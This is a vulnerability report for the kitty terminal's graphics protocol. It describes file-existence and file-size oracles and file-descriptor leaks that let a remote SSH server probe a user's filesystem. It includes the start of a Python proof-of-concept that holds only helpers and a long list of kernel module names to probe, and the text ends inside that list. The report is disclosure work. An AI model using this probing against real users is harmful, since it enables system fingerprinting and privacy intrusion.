Package: kitty
Version: 0.41.1-2+deb13u2

Summary

Kitty's graphic protocol implementation has several issues:

    File descriptor leak on open failure of e.g. directories
File existence leak, even in "protected" directories such as proc, sys, dev
    File size leak
I was able to crash wayland by probing too many files at once - I am unsure how reproducible this is.

The causes are fds only being closed on the happy path, policy filtering happening too late, and excessively default error answerbacks.

A remote server the users is connected to via e.g. SSH can probe the user's filesystem, and sandboxed processes may be able to learn information they were not supposed to be able to access.

Upstream did not consider this a security issue, my argument that it is:

It allows an attacker to learn what versions of software are installed, what software the user is actually using, their linux distribution, what kernel they are running (same enumeration trick against /boot/vmlinuz-<version>), etc. This sort of information is useful for assessing vulnerability to further exploits.

The kernel modules and other paths under /sys can also be use to fingerprint hardware. Running locally, that PoC is able to check about 4000 kernel modules in one second.

Knowing the length of username is useful to build a tuned guess-and-check sequence to try to discover the full username.

There are plenty of programs that tend to put files in predictable locations, for example an IRC client might use ~/.local/log/irc/network - channel.log which can then be queried with a file existence oracle. In this case, the file size could even be used to infer usage patterns if the logs are rotated.
#!/usr/bin/env python3

import os, sys, logging

from sys import argv, exit, stdin, stdout, stderr, version_info
from pathlib import Path

def sgr_print(sgr, *objects, **kw):
    # only use color if this is a tty and  isn't set
    if getattr(kw['file'], 'isatty', lambda: False)() and not os.getenv('NO_COLOR'):
        kw.setdefault('sep', ' ')
        # coerce to string and join
        s = kw['sep'].join(map(str, objects))
        # apply ansi color
        objects = (f'\x1b[{sgr}m{s}\x1b[m',)
    print(*objects, **kw)

def eprint(*objects, **kw):
    if kw.setdefault('file', stderr) == stderr:
        sgr_print('1;31;91', *objects, **kw)
    else:
        print(*objects, **kw)

#log = logging.getLogger(__name__)

# add local libraries to path, if available
pylib = Path(Path.home(), 'code', 'pylib')
if pylib.is_dir(): sys.path.append(str(pylib.resolve))

# Python standard library imports
import re, select, termios, time, tty
from base64 import b64encode as b64e
from contextlib import contextmanager
from itertools import islice
# Third party library imports
# End imports

MODULES = """
3c574_cs 3c589_cs 3c59x 3w-9xxx 3w-sas 3w-xxxx 6lowpan 6pack 8021q 8139cp 8139too 8250_exar 8250_lpss 8255 8255_pci
8390 9p 9pnet 9pnet_fd 9pnet_rdma 9pnet_virtio 9pnet_xen BusLogic a100u2w a3d a8293 aacraid abituguru abituguru3
abp060mg ac ac97_bus acard-ahci acecad acenic acer-wireless acer-wmi acerhdf acp_audio_dma acpi-als acpi-cpufreq
acpi_ipmi acpi_mdio acpi_pad acpi_power_meter acpi_tad acpi_thermal_rel acpiphp_ibm acquirewdt act_bpf act_connmark
act_csum act_ct act_ctinfo act_gact act_gate act_ife act_meta_mark act_meta_skbprio act_meta_skbtcindex act_mirred
act_mpls act_nat act_pedit act_police act_sample act_simple act_skbedit act_skbmod act_tunnel_key act_vlan ad5064
ad525x_dpot ad525x_dpot-i2c ad525x_dpot-spi ad5360 ad5380 ad5421 ad5446 ad5449 ad5504 ad5592r ad5592r-base ad5593r
ad5624r_spi ad5686 ad5686-spi ad5696-i2c ad5755 ad5758 ad5761 ad5764 ad5770r ad5791 ad7091r-base ad7091r5 ad7124
ad7192 ad7266 ad7291 ad7292 ad7298 ad7303 ad7414 ad7418 ad7476 ad7606 ad7606_par ad7606_spi ad7766 ad7768-1 ad7780
ad7791 ad7793 ad7877 ad7879 ad7879-i2c ad7887 ad7923 ad7949 ad799x ad8801 ad9467 ad_sigma_delta adcxx addi_apci_1032
addi_apci_1500 addi_apci_1516 addi_apci_1564 addi_apci_16xx addi_apci_2032 addi_apci_2200 addi_apci_3120 addi_apci_3501
addi_apci_3xxx addi_watchdog adf7242 adfs adi adiantum adis16080 adis16130 adis16136 adis16201 adis16209 adis16260
adis16460 adis16475 adis16480 adis_lib adjd_s311 adl_pci6208 adl_pci7x3x adl_pci8164 adl_pci9111 adl_pci9118 adm1025
adm1026 adm1029 adm1031 adm8211 adm9240 adp5588-keys ads7828 ads7846 ads7871 adt7411 adt7462 adt7470 adt7475 adummy
adutux adux1020 adv7170 adv7175 adv_pci1710 adv_pci1720 adv_pci1723 adv_pci1724 adv_pci1760 adv_pci_dio advansys
advantech_ec_wdt advantechwdt adxl345_core adxl345_i2c adxl345_spi adxl372 adxl372_i2c adxl372_spi adxrs290 adxrs450
aegis128 aegis128-aesni aer_inject aes_ti aesni-intel af9013 af9033 af_alg af_key af_packet_diag affs ah4 ah6
aha152x_cs ahci aic79xx aic7xxx aic94xx aiptek aircable airspy ak8975 al3010 al3320a alcor alcor_pci algif_aead
algif_hash algif_rng algif_skcipher alienware-wmi alim1535_wdt alim7101_wdt altera-ci altera-stapl altera_ps2
alx am53c974 amc6821 amd amd-pmc amd-pmf amd-rng amd-xgbe amd64_edac amd8111e amd_atl amd_freq_sensitivity
amd_sfh amdgpu amdtee amdxcp amilo-rfkill amplc_dio200_common amplc_dio200_pci amplc_pc236_common amplc_pci224
amplc_pci230 amplc_pci236 amplc_pci263 analog ansi_cprng aoe apanel apds9300 apds9802als apds990x apds9960 apple-gmux
apple-mfi-fastcharge apple_bl appledisplay applesmc applespi appletalk appletouch applicom aqc111 aquacomputer_d5next
aquantia ar5523 arc-rawmode arc-rimi arcfb arcmsr arcnet ark3116 arkfb arp_tables arpt_mangle arptable_filter
as102_fe as73211 asb100 asc7621 ascot2e asix ast asus-ec-sensors asus-laptop asus-nb-wmi asus-wireless asus-wmi
asus_atk0110 asus_wmi_sensors async_memcpy async_pq async_raid6_recov async_tx async_xor at24 at25 at76c50x-usb
at803x at86rf230 ata_generic ata_piix atbm8830 ath ath10k_core ath10k_pci ath10k_usb ath11k ath11k_pci ath12k ath3k
ath5k ath6kl_core ath6kl_sdio ath6kl_usb ath9k ath9k_common ath9k_htc ath9k_hw ati_remote ati_remote2 atl1 atl1c
atl1e atl2 atlantic atlas_btns atm atmel_mxt_ts atmtcp atp870u atusb atxp1 aty128fb atyfb au0828 au8522_common
au8522_decoder au8522_dig auth_rpcgss authenc authencesn autofs4 avmfritz ax25 ax88179_178a ax88796b axnet_cs
axp20x axp20x-i2c axp20x-pek axp20x_adc axp288_adc axp288_charger axp288_fuel_gauge b2c2-flexcop b2c2-flexcop-pci
b2c2-flexcop-usb b43 b43legacy b44 batman-adv battery baycom_par baycom_ser_fdx baycom_ser_hdx bcache bcachefs
bch bcm-phy-lib bcm-phy-ptp bcm203x bcm3510 bcm5974 bcm87xx bcma be2iscsi be2net befs belkin_sa bfa bfq bfs bfusb
bh1750 bh1770glc bh1780 binder_linux binfmt_misc blake2b_generic block2mtd blocklayoutdriver blowfish-x86_64
blowfish_common blowfish_generic bluecard_cs bluetooth bluetooth_6lowpan bma180 bma220_spi bma400_core bma400_i2c
bma400_spi bmc150-accel-core bmc150-accel-i2c bmc150-accel-spi bmc150_magn bmc150_magn_i2c bmc150_magn_spi bmg160_core
bmg160_i2c bmg160_spi bmi160_core bmi160_i2c bmi160_spi bmp280 bmp280-i2c bmp280-spi bna bnep bnx2 bnx2fc bnx2i
bnx2x bnxt_en bnxt_re bochs bonding bpa10x bpqether bq24190_charger bq27xxx_battery bq27xxx_battery_hdq br2684
br_netfilter brcmfmac brcmfmac-bca brcmfmac-cyw brcmfmac-wcc brcmsmac brcmutil brd bridge broadcom bsd_comp bt3c_cs
bt819 bt856 bt878 btbcm btcoexist btintel btintel_pcie btmrvl btmrvl_sdio btmtk btmtkuart btqca btrfs btrsi btrtl
btsdio bttv btusb budget budget-av budget-ci budget-core button c2port-duramar2150 cachefiles cafe_ccic cafe_nand
camellia-aesni-avx-x86_64 camellia-aesni-avx2 camellia-x86_64 camellia_generic can can-bcm can-dev can-gw can-isotp
can-j1939 can-raw can327 capmode capsule-loader carl9170 cassini cast5-avx-x86_64 cast5_generic cast6-avx-x86_64
cast6_generic cast_common catc cavium_ptp cb710 cb710-mmc cb_das16_cs cb_pcidas cb_pcidas64 cb_pcidda cb_pcimdas
cb_pcimdda cc10001_adc cc2520 ccm ccp ccp-crypto cdc-acm cdc-phonet cdc-wdm cdc_eem cdc_ether cdc_mbim cdc_ncm
cdc_subset cdrom cec ceph cfg80211 cfi_cmdset_0001 cfi_cmdset_0002 cfi_cmdset_0020 cfi_probe cfi_util ch ch341
ch7006 ch9200 chacha-x86_64 chacha20poly1305 chacha_generic chaoskey chcr chipreg chromeos_acpi chromeos_laptop
chromeos_privacy_screen chromeos_pstore chromeos_tbmc cicada cifs cifs_arc4 cifs_md4 cirrus cirrusfb classmate-laptop
clip cls_basic cls_bpf cls_cgroup cls_flow cls_flower cls_fw cls_matchall cls_route cls_u32 cm109 cm32181 cm3232
cm3323 cm36651 cmac cnic cobra coda com20020 com20020-pci com20020_cs com90io com90xx comedi comedi_8254 comedi_8255
comedi_bond comedi_parport comedi_pci comedi_pcmcia comedi_test comedi_usb compal-laptop configfs contec_pci_dio cordic
core coretemp corsair-cpro corsair-psu cortina cp210x cpcihp_generic cpcihp_zt5550 cpu5wdt cpufreq_conservative
cpufreq_ondemand cpufreq_powersave cpufreq_userspace cpuid cqhci crc-itu-t crc16 crc32-pclmul crc32_generic
crc32c-intel crc32c_generic crc7 crc8 crct10dif-pclmul cros-ec-cec cros-ec-sensorhub cros-ec-typec cros_charge-control
cros_ec cros_ec_accel_legacy cros_ec_baro cros_ec_chardev cros_ec_debugfs cros_ec_dev cros_ec_hwmon cros_ec_i2c
cros_ec_ishtp cros_ec_keyb cros_ec_lid_angle cros_ec_light_prox cros_ec_lightbar cros_ec_lpcs cros_ec_sensors
cros_ec_sensors_core cros_ec_spi cros_ec_sysfs cros_kbd_led_backlight cros_peripheral_charger cros_typec_switch
cros_usbpd-charger cros_usbpd_logger cros_usbpd_notify cryptd crypto_engine crypto_null crypto_simd crypto_user
cs3308 cs42l43 cs42l43-sdw cs5345 cs53l32a cs_dsp csiostor ct82c710 cts curve25519-generic curve25519-x86_64 cuse
cx18 cx18-alsa cx22700 cx22702 cx231xx cx231xx-alsa cx231xx-dvb cx2341x cx23885 cx24110 cx24113 cx24116 cx24117
cx24120 cx24123 cx25840 cx82310_eth cx88-alsa cx88-blackbird cx88-dvb cx88-vp3054-i2c cx8800 cx8802 cx88xx cxacru
cxd2099 cxd2820r cxd2841er cxgb cxgb3 cxgb3i cxgb4 cxgb4i cxgb4vf cxgbit cxl_acpi cxl_mem cxl_pci cxl_pmem cyapatp
cyber2000fb cyberjack cypress_cy7c63 cypress_firmware cypress_m8 cytherm da280 da311 daqboard2000 das08 das08_cs
das08_pci davicom dax_cxl dax_hmem dax_pmem db9 dc395x dca dccp dccp_diag dccp_ipv4 dccp_ipv6 dcdbas ddbridge
ddbridge-dummy-fe de2104x deflate defxx dell-laptop dell-pc dell-rbtn dell-smbios dell-smm-hwmon dell-smo8800
dell-wmi dell-wmi-aio dell-wmi-ddv dell-wmi-descriptor dell-wmi-led dell-wmi-sysman dell_rbu des3_ede-x86_64
des_generic designware_i2s device_dax dib0070 dib0090 dib3000mb dib3000mc dib7000m dib7000p dib8000 dibx000_common
digi_acceleport diskonchip dl2k dlhl60d dlm dm-bio-prison dm-bufio dm-cache dm-cache-smq dm-crypt dm-delay dm-era
dm-flakey dm-integrity dm-log dm-log-userspace dm-log-writes dm-mirror dm-mod dm-multipath dm-persistent-data
dm-queue-length dm-raid dm-region-hash dm-round-robin dm-service-time dm-snapshot dm-switch dm-thin-pool dm-unstripe
dm-vdo dm-verity dm-writecache dm-zero dm-zoned dm1105 dm9601 dmard09 dmard10 dme1737 dmfe dmx3191d dns_resolver
dp83640 dp83822 dp83848 dp83867 dp83tc811 dp83td510 dps310 drbd drivetemp drm drm_buddy drm_display_helper drm_exec
drm_gpuvm drm_kms_helper drm_shmem_helper drm_suballoc_helper drm_ttm_helper drm_vram_helper drm_xen_front drop_monitor
drx39xyj drxd drxk ds1621 ds1682 ds2482 ds2490 ds2760_battery ds3000 ds4424 ds620 dsbr100 dst dst_ca dt3000 dt3155
dt9812 dtl1_cs dummy dummy_hcd dummy_stm dvb-as102 dvb-bt8xx dvb-core dvb-pll dvb-ttpci dvb-ttusb-budget dvb-usb
dvb-usb-a800 dvb-usb-af9005 dvb-usb-af9005-remote dvb-usb-af9015 dvb-usb-af9035 dvb-usb-anysee dvb-usb-au6610
dvb-usb-az6007 dvb-usb-az6027 dvb-usb-ce6230 dvb-usb-cinergyT2 dvb-usb-cxusb dvb-usb-dib0700 dvb-usb-dibusb-common
dvb-usb-dibusb-mb dvb-usb-dibusb-mc dvb-usb-dibusb-mc-common dvb-usb-digitv dvb-usb-dtt200u dvb-usb-dtv5100
dvb-usb-dvbsky dvb-usb-dw2102 dvb-usb-ec168 dvb-usb-gl861 dvb-usb-gp8psk dvb-usb-lmedm04 dvb-usb-m920x
dvb-usb-mxl111sf dvb-usb-nova-t-usb2 dvb-usb-opera dvb-usb-pctv452e dvb-usb-rtl28xxu dvb-usb-technisat-usb2
dvb-usb-ttusb2 dvb-usb-umt-010 dvb-usb-vp702x dvb-usb-vp7045 dvb_dummy_fe dvb_usb_v2 dw_dmac dw_dmac_core dw_dmac_pci
dwc3 dwc3-haps dwc3-pci dwmac-generic dwmac-intel dyna_pci10xx dynapro e100 e1000 e1000e e4000 e752x_edac earth-pt1
earth-pt3 ebt_802_3 ebt_among ebt_arp ebt_arpreply ebt_dnat ebt_ip ebt_ip6 ebt_limit ebt_log ebt_mark ebt_mark_m
ebt_nflog ebt_pkttype ebt_redirect ebt_snat ebt_stp ebt_vlan ebtable_broute ebtable_filter ebtable_nat ebtables ec100
ecdh_generic echainiv ecrdsa_generic ecryptfs edac_mce_amd edd ee1004 eeepc-laptop eeepc-wmi eeprom_93cx6 eeti_ts
efi-pstore efibc efivarfs efs ehci-hcd ehci-pci ehset einj elan_i2c elants_i2c elo em28xx em28xx-alsa em28xx-dvb
em28xx-rc em28xx-v4l em_canid em_cmp em_ipset em_ipt em_meta em_nbyte em_text em_u32 emc1403 emc2103 emc6w201 emi26
emi62 empeg ems_pci ems_pcmcia ems_usb emu10k1-gp ena enclosure ene_ir eni enic epic100 eql erofs esas2r esd_usb
esp4 esp4_offload esp6 esp6_offload esp_scsi essiv et1011c et131x eurotechwdt evdev exfat ext4 extcon-axp288
extcon-core extcon-intel-cht-wc extcon-usbc-cros-ec ezusb f2fs f71805f f71808e_wdt f71882fg f75375s f81232 f81534
failover fakelb fam15h_power fan farsync fat fb_ddc fc0011 fc0012 fc0013 fc2580 fcoe fcrypt ff-memless fintek-cir
firedtv firewire-core firewire-net firewire-ohci firewire-sbp2 firmware_attributes_class fixed_phy fjes floppy
fm801-gp fmpm fmvj18x_cs fnic forcedeth fore_200e fou fou6 freevxfs fschmd ftdi_sio ftl ftsteutates fujitsu-laptop
fujitsu-tablet fujitsu_ts fusb302 fwnode_mdio fxas21002c_core fxas21002c_i2c fxas21002c_spi fxos8700_core fxos8700_i2c
fxos8700_spi g450_pll g760a g_ether g_ffs g_mass_storage g_serial gadgetfs gamecon gameport garmin_gps garp gcm
gen_probe geneve geniv gf128mul gf2k gfs2 ghash-clmulni-intel ghash-generic gigabyte-wmi gl518sm gl520sm gl620a
gma500_gfx gnss gnss-mtk gnss-serial gnss-sirf gnss-ubx gnss-usb goodix_ts governor_simpleondemand gp2ap002
gp2ap020a00f gp8psk-fe gpd-pocket-fan gpio-amd-fch gpio-amdpt gpio-exar gpio-f7188x gpio-generic gpio-idio-16
gpio-kempld gpio-ljca gpio-ml-ioh gpio-pci-idio-16 gpio-pcie-idio-24 gpio-regmap gpio-viperboard gpio-wcove
gpio_keys gpio_keys_polled gpu-sched grace gre grip grip_mp gs_usb gsc_hpdi gsmi gspca_benq gspca_conex
gspca_cpia1 gspca_dtcs033 gspca_etoms gspca_finepix gspca_gl860 gspca_jeilinj gspca_jl2005bcd gspca_kinect
gspca_konica gspca_m5602 gspca_main gspca_mars gspca_mr97310a gspca_nw80x gspca_ov519 gspca_ov534 gspca_ov534_9
gspca_pac207 gspca_pac7302 gspca_pac7311 gspca_se401 gspca_sn9c2028 gspca_sn9c20x gspca_sonixb gspca_sonixj
gspca_spca1528 gspca_spca500 gspca_spca501 gspca_spca505 gspca_spca506 gspca_spca508 gspca_spca561 gspca_sq905
gspca_sq905c gspca_sq930x gspca_stk014 gspca_stk1135 gspca_stv0680 gspca_stv06xx gspca_sunplus gspca_t613
gspca_topro gspca_touptek gspca_tv8532 gspca_vc032x gspca_vicam gspca_xirlink_cit gspca_zc3xx gtp guillemot
gunze gve habanalabs hackrf hamachi hampshire hangcheck-timer hanwang hci hci_nokia hci_uart hci_vhci hdaps hdlc
hdlc_cisco hdlc_fr hdlc_ppp hdlc_raw hdlc_raw_eth hdlcdrv hdpvr he hecubafb helene hexium_gemini hexium_orion
hfcmulti hfcpci hfcsusb hfi1 hfs hfsplus hgafb hi311x hi556 hi8435 hid hid-a4tech hid-accutouch hid-alps hid-apple
hid-appleir hid-asus hid-aureal hid-axff hid-belkin hid-betopff hid-bigbenff hid-cherry hid-chicony hid-cmedia
hid-corsair hid-cougar hid-cp2112 hid-creative-sb0540 hid-cypress hid-dr hid-elan hid-elecom hid-elo hid-emsff
hid-ezkey hid-ft260 hid-gaff hid-gembird hid-generic hid-gfrm hid-glorious hid-google-hammer hid-gt683r hid-gyration
hid-holtek-kbd hid-holtek-mouse hid-holtekff hid-hyperv hid-icade hid-ite hid-jabra hid-kensington hid-keytouch hid-kye
hid-lcpower hid-led hid-lenovo hid-lg-g15 hid-logitech hid-logitech-dj hid-logitech-hidpp hid-macally hid-magicmouse
hid-maltron hid-mcp2221 hid-mf hid-microsoft hid-monterey hid-multitouch hid-nintendo hid-nti hid-ntrig hid-ortek
hid-penmount hid-petalynx hid-picolcd hid-pl hid-plantronics hid-playstation hid-primax hid-prodikeys hid-redragon
hid-retrode hid-rmi hid-roccat hid-roccat-arvo hid-roccat-common hid-roccat-isku hid-roccat-kone hid-roccat-koneplus
hid-roccat-konepure hid-roccat-kovaplus hid-roccat-lua hid-roccat-pyra hid-roccat-ryos hid-roccat-savu hid-saitek
hid-samsung hid-semitek hid-sensor-accel-3d hid-sensor-als hid-sensor-custom hid-sensor-gyro-3d hid-sensor-hub
hid-sensor-iio-common hid-sensor-incl-3d hid-sensor-magn-3d hid-sensor-press hid-sensor-prox hid-sensor-rotation
hid-sensor-temperature hid-sensor-trigger hid-sjoy hid-sony hid-speedlink hid-steam hid-steelseries hid-sunplus
hid-thrustmaster hid-tivo hid-tmff hid-topseed hid-twinhan hid-u2fzero hid-uclogic hid-udraw-ps3 hid-universal-pidff
hid-viewsonic hid-vivaldi hid-vivaldi-common hid-waltop hid-wiimote hid-xinmo hid-zpff hid-zydacron hidp hinic
hmc5843_core hmc5843_i2c hmc5843_spi hmc6352 hopper horus3a hp-bioscfg hp-wmi hp-wmi-sensors hp03 hp206c hp_accel
hpfs hpilo hpsa hptiop hpwdt hso hsr huawei-wmi huawei_cdc_ncm hv_balloon hv_netvsc hv_sock hv_storvsc hv_utils
hv_vmbus hwmon-vid hwpoison-inject hx711 hyperv-keyboard hyperv_drm i10nm_edac i2c-algo-bit i2c-algo-pca i2c-ali1535
i2c-ali1563 i2c-ali15x3 i2c-amd-mp2-pci i2c-amd-mp2-plat i2c-amd756 i2c-amd756-s4882 i2c-amd8111 i2c-ccgx-ucsi
i2c-cht-wc i2c-cros-ec-tunnel i2c-designware-pci i2c-dev i2c-diolan-u2c i2c-hid i2c-hid-acpi i2c-hid-of i2c-i801
i2c-isch i2c-ismt i2c-kempld i2c-ljca i2c-matroxfb i2c-mux i2c-nforce2 i2c-nforce2-s4985 i2c-ocores i2c-parport
i2c-pca-platform i2c-piix4 i2c-robotfuzz-osif i2c-scmi i2c-simtec i2c-sis5595 i2c-sis630 i2c-sis96x i2c-smbus
i2c-stub i2c-taos-evm i2c-tiny-usb i2c-via i2c-viapro i2c-viperboard i3000_edac i3200_edac i40e i5100_edac i5400_edac
i5500_temp i5k_amb i6300esb i7300_edac i7core_edac i82092 i82975x_edac i915 iTCO_vendor_support iTCO_wdt iaa_crypto
iavf ib700wdt ib_cm ib_core ib_ipoib ib_iser ib_isert ib_mthca ib_qib ib_srp ib_srpt ib_umad ib_uverbs ibm_rtl ibmaem
ibmasm ibmasr ibmpex ice icp10100 icp_multi icplus ics932s401 ideapad-laptop ideapad_slidebar idma64 idmouse idpf
idt77105 idt77252 idxd idxd_bus ie31200_edac ie6xx_wdt ieee802154 ieee802154_6lowpan ieee802154_socket ifb ife iforce
iforce-serio iforce-usb igb igbvf igc igen6_edac igorplugusb iguanair iio-trig-hrtimer iio-trig-sysfs iio_hwmon
ila imon imon_raw ina2xx-adc industrialio industrialio-backend industrialio-configfs industrialio-sw-trigger
industrialio-triggered-buffer industrialio-triggered-event inet_diag inexio inftl initio int3400_thermal
int3401_thermal int3402_thermal int3403_thermal int3406_thermal int340x_thermal_zone int51x1 intel-cstate intel-hid
intel-ipu6 intel-ipu6-isys intel-ish-ipc intel-ishtp intel-ishtp-hid intel-lpss intel-lpss-acpi intel-lpss-pci
intel-rng intel-rst intel-smartconnect intel-uncore intel-uncore-frequency intel-uncore-frequency-common
intel-uncore-frequency-tpmi intel-vbtn intel-wmi-thunderbolt intel-xhci-usb-role-switch intel_atomisp2_pm
intel_bxt_pmic_thermal intel_bxtwc_tmu intel_chtwc_int33fe intel_crystal_cove_charger intel_ifs intel_int0002_vgpio
intel_ips intel_oaktrail intel_pch_thermal intel_pmc_bxt intel_pmc_core intel_pmc_core_pltdrv intel_powerclamp
intel_qat intel_rapl_common intel_rapl_msr intel_rapl_tpmi intel_sdsi intel_skl_int3472_common
intel_skl_int3472_discrete intel_skl_int3472_tps68470 intel_soc_dts_iosf intel_soc_dts_thermal intel_soc_pmic_bxtwc
intel_soc_pmic_chtdc_ti intel_th intel_th_acpi intel_th_gth intel_th_msu intel_th_msu_sink intel_th_pci intel_th_pti
intel_th_sth intel_tpmi_power_domains intel_vpu intel_vsec intel_vsec_tpmi interact inv-icm42600 inv-icm42600-i2c
inv-icm42600-spi inv-mpu6050 inv-mpu6050-i2c inv-mpu6050-spi inv_sensors_timestamp io_edgeport io_ti ioatdma ionic
iosm iowarrior ip6_gre ip6_tables ip6_tunnel ip6_udp_tunnel ip6_vti ip6t_NPT ip6t_REJECT ip6t_SYNPROXY ip6t_ah
ip6t_eui64 ip6t_frag ip6t_hbh ip6t_ipv6header ip6t_mh ip6t_rpfilter ip6t_rt ip6t_srh ip6table_filter ip6table_mangle
ip6table_nat ip6table_raw ip6table_security ip_gre ip_set ip_set_bitmap_ip ip_set_bitmap_ipmac ip_set_bitmap_port
ip_set_hash_ip ip_set_hash_ipmac ip_set_hash_ipmark ip_set_hash_ipport ip_set_hash_ipportip ip_set_hash_ipportnet
ip_set_hash_mac ip_set_hash_net ip_set_hash_netiface ip_set_hash_netnet ip_set_hash_netport ip_set_hash_netportnet
ip_set_list_set ip_tables ip_tunnel ip_vs ip_vs_dh ip_vs_fo ip_vs_ftp ip_vs_lblc ip_vs_lblcr ip_vs_lc ip_vs_mh ip_vs_nq
ip_vs_ovf ip_vs_pe_sip ip_vs_rr ip_vs_sed ip_vs_sh ip_vs_twos ip_vs_wlc ip_vs_wrr ip_vti ipaq ipcomp ipcomp6 iphase
ipheth ipip ipmi_devintf ipmi_msghandler ipmi_poweroff ipmi_si ipmi_ssif ipmi_watchdog ipr ips ipt_ECN ipt_REJECT
ipt_SYNPROXY ipt_ah ipt_rpfilter iptable_filter iptable_mangle iptable_nat iptable_raw iptable_security ipu-bridge
ipu3-cio2 ipu3-imgu ipvlan ipvtap ipw ipw2200 ipwireless ir-imon-decoder ir-jvc-decoder ir-kbd-i2c ir-mce_kbd-decoder
ir-nec-decoder ir-rc5-decoder ir-rc6-decoder ir-sanyo-decoder ir-sharp-decoder ir-sony-decoder ir-usb ir-xmp-decoder
irdma irqbypass isci iscsi_boot_sysfs iscsi_ibft iscsi_target_mod iscsi_tcp isight_firmware isl29003 isl29018 isl29020
isl29028 isl29125 isl29501 isl6405 isl6421 isl6423 isofs isst_if_common isst_if_mbox_msr isst_if_mbox_pci isst_if_mmio
isst_tpmi isst_tpmi_core it87 it8712f_wdt it87_wdt it913x itd1000 ite-cir itg3200 iuu_phoenix ivsc-ace ivsc-csi
ivtv ivtv-alsa ivtvfb iw_cm iw_cxgb4 iwl3945 iwl4965 iwldvm iwlegacy iwlmvm iwlwifi ix2505v ixgbe ixgbevf jbd2 jc42
jedec_probe jffs2 jfs jmb38x_ms jme joydev joydump jr3_pci jsa1212 jsm k10temp k8temp kafs kalmia kaweth kbtab kcm
kcomedilib ke_counter kempld-core kempld_wdt keyspan keyspan_pda keyspan_remote keywrap kfifo_buf kl5kusb105 kmem
kmx61 kobil_sct ks0127 ksmbd ksz884x kvaser_pci kvaser_usb kvm kvm-amd kvm-intel kvmgt kxcjk-1013 kxsd9 kxsd9-i2c
kxsd9-spi kyber-iosched kyrofb l1oip l2tp_core l2tp_debugfs l2tp_eth l2tp_ip l2tp_ip6 l2tp_netlink l2tp_ppp l64781
lan743x lan78xx lanai lapb ldusb lec led-class-multicolor leds-apu leds-bd2802 leds-cros_ec leds-dac124s085 leds-gpio
leds-lp3944 leds-lt3593 leds-menf21bmc leds-pca955x leds-regulator leds-ss4200 ledtrig-activity ledtrig-backlight
ledtrig-camera ledtrig-default-on ledtrig-gpio ledtrig-heartbeat ledtrig-netdev ledtrig-oneshot ledtrig-pattern
ledtrig-timer ledtrig-transient ledtrig-usbport legousbtower lenovo-ymc lg-laptop lg-vl600 lg2160 lgdt3305 lgdt3306a
lgdt330x lgs8gxx lib80211 lib80211_crypt_ccmp lib80211_crypt_tkip lib80211_crypt_wep libahci libarc4 libata libceph
libchacha libchacha20poly1305 libcomposite libcrc32c libcurve25519 libcurve25519-generic libcxgb libcxgbi libdes
libertas libertas_sdio libertas_tf libertas_tf_usb libeth libfc libfcoe libie libipw libiscsi libiscsi_tcp libnvdimm
libphy libpoly1305 libsas lineage-pem liquidio liquidio-core liquidio_vf lis3lv02d lis3lv02d_i2c lkkbd llc llc2
lm63 lm70 lm73 lm75 lm77 lm78 lm80 lm83 lm8323 lm85 lm87 lm90 lm92 lm93 lm95241 lm95245 lnbh25 lnbp21 lnbp22 lockd
loop lp lpc_ich lpc_sch lpddr_cmds lpfc lru_cache lrw ltc1660 ltc2471 ltc2485 ltc2496 ltc2497 ltc2497-core ltc2632
ltc2983 ltc4151 ltc4215 ltc4245 ltc4261 ltr501 lv0104cs lxt lz4 lz4_compress lz4hc lz4hc_compress m52790 m62332
m88ds3103 m88rs2000 m88rs6000t mISDN_core mISDN_dsp mISDNinfineon mISDNipac mISDNisar mac-celtic mac-centeuro
mac-croatian mac-cyrillic mac-gaelic mac-greek mac-iceland mac-inuit mac-roman mac-romanian mac-turkish mac80211
mac80211_hwsim mac802154 mac802154_hwsim machzwd macmodes macsec macvlan macvtap mag3110 magellan mana mana_ib mantis
mantis_core map_absent map_funcs map_ram map_rom marvell marvell10g matrix-keymap matroxfb_DAC1064 matroxfb_Ti3026
matroxfb_accel matroxfb_base matroxfb_crtc2 matroxfb_g450 matroxfb_maven matroxfb_misc max1027 max11100 max1111
max1118 max1241 max1363 max16065 max1619 max1668 max17042_battery max2165 max31856 max44000 max44009 max517 max6639
max6650 max6875 max7359_keypad max9611 maxim_thermocouple mb1232 mb862xxfb mb86a16 mb86a20s mbcache mc mc3230
mc44s803 mcam-core mcba_usb mce-inject mceusb mcp251x mcp251xfd mcp320x mcp3422 mcp3911 mcp4725 mcp4922 mcs7830
mct_u232 md-cluster md-mod md4 mdc800 mdev mdio mdio-i2c mdio_devres me4000 me_daq megaraid megaraid_mbox megaraid_mm
megaraid_sas mei mei-gsc mei-me mei-txe mei-vsc mei-vsc-hw mei_gsc_proxy mei_hdcp mei_phy mei_pxp mei_wdt memconsole
memconsole-coreboot memory-notifier-error-inject memstick menf21bmc menf21bmc_hwmon menf21bmc_wdt metro-usb mf6x4
mgag200 mhi mhi_net mhi_pci_generic mhi_wwan_ctrl mhi_wwan_mbim michael_mic micrel microchip microchip_t1 microtek
mii minix mite mkiss mlx4_core mlx4_en mlx4_ib mlx5_core mlx5_ib mlx90614 mlx90632 mlx90635 mlxfw mma7455_core
mma7455_i2c mma7455_spi mma7660 mma8452 mma9551 mma9551_core mma9553 mmc35240 mmc_block mmc_core mn88472 mn88473
mos7720 mos7840 moxa mpi3mr mpl115 mpl115_i2c mpl115_spi mpl3115 mpls_iptunnel mpls_router mpoa mpt3sas mptbase
mptcp_diag mptctl mptfc mptlan mptsas mptscsih mptspi mpu3050 mrf24j40 mrp ms5611_core ms5637 ms_sensors_i2c mscc
msdos msi-ec msi-laptop msi-wmi msi001 msi2500 msp3400 mspro_block msr mt2060 mt2063 mt20xx mt2131 mt2266 mt312
mt352 mt76 mt76-connac-lib mt76-usb mt7601u mt7615-common mt7615e mt7663-usb-sdio-common mt7663u mt76x0-common
mt76x02-lib mt76x02-usb mt76x0e mt76x0u mt76x2-common mt76x2e mt76x2u mt7915e mt7921-common mt7921e mt7921u
mt7925-common mt7925e mt7925u mt792x-lib mt792x-usb mt7996e mt9v011 mtd mtd_blkdevs mtd_dataflash mtdblock
mtdblock_ro mtdoops mtdram mtdswap mtip32xx mtk_t7xx mtouch mvsas mvumi mwave mwifiex mwifiex_pcie mwifiex_sdio
mwifiex_usb mwl8k mxb mxc4005 mxc6255 mxl111sf-demod mxl111sf-tuner mxl301rf mxl5005s mxl5007t mxl5xx mxl692
mxm-wmi mxser mxuport myrb myri10ge myrs n411 n_hdlc nand nandcore nandsim national natsemi nau7802 navman nbd
nci nct6683 nct6775 nct6775-core nct7802 nct7904 nd_btt nd_e820 nd_pmem nd_virtio ne2k-pci neofb net1080 net2280
